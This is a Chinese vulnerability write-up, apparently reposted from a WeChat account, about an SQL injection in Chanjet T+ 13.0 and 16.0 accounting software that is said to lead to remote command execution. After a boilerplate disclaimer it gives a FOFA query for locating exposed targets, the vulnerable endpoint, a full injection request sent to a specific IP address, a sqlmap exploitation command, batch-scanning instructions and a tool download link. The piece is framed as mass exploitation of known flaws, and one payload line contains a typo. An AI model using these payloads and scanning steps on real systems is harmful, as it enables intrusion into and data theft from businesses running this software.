免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
一、产品介绍
畅捷通 T+ 是一款基于互联网的新型企业管理软件，功能模块包括：财务管理、采购管理、库存管理等。主要针对中小型工贸和商贸企业的财务业务一体化应用，融入了社交化、移动化、物联网、电子商务、互联网信息订阅等元素。
二、漏洞描述
畅捷通T+的某后台功能点只校验了权限，未对用户的输入进行过滤，导致在权限绕过后存在SQL注入漏洞，利用此漏洞攻击者最终可以实现远程命令执行。
三、影响范围
畅捷通T+ 13.0
畅捷通T+ 16.0
四、fofa查询
app="畅捷通-TPlus" 
五、漏洞位置
/tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanyController,Ufida.T.SM.UIP.ashx?method=CheckMutex浏览器访问，返回如下信息，即可能存在漏洞
六、检测POC
POST /tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanyController,Ufida.T.SM.UIP.ashx?method=CheckMutex HTTP/1.1Host: 118.118.241.20:8089User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: ASP.NET_SessionId=zjuycmq4fv22lf4leou35e0q; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1690895352; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1690895352DNT: 1Connection: closeUpgrade-Insecure-Requests: 1Content-Length: 267
{"accNum": "3' AND 3417 IN (SELECT (CHAR(113)+CHAR(113)+CHAR(107)+CAR(107)+CHAR(113)+(SELECT SUBSTRING((ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))),1,1024))+CHAR(113)+CHAR(106)+CHAR(107)+CHAR(113)+CHAR(113)))-- QoLY", "functionTag": "SYS0104", "url": ""}
漏洞存在位置实际上是提交的Json数据里面 accNum字段
七、漏洞利用
直接使用sqlmap 一把梭，将请求的POC数据包放入txt文档中
python sqlmap.py -r post.txt --random-agent -v 3 --batch 
八、批量检测
使用说明
脚本文件夹下新建名为 用友畅捷通.txt 文档存放目标，然后运行脚本
相关工具
链接：https://pan.baidu.com/s/1su81ugfcEegTokD8rUdZJw 提取码：msqc
原文始发于微信公众号（网络安全透视镜）：【nday漏洞批量刷】用友畅捷通T+ SQL注入漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论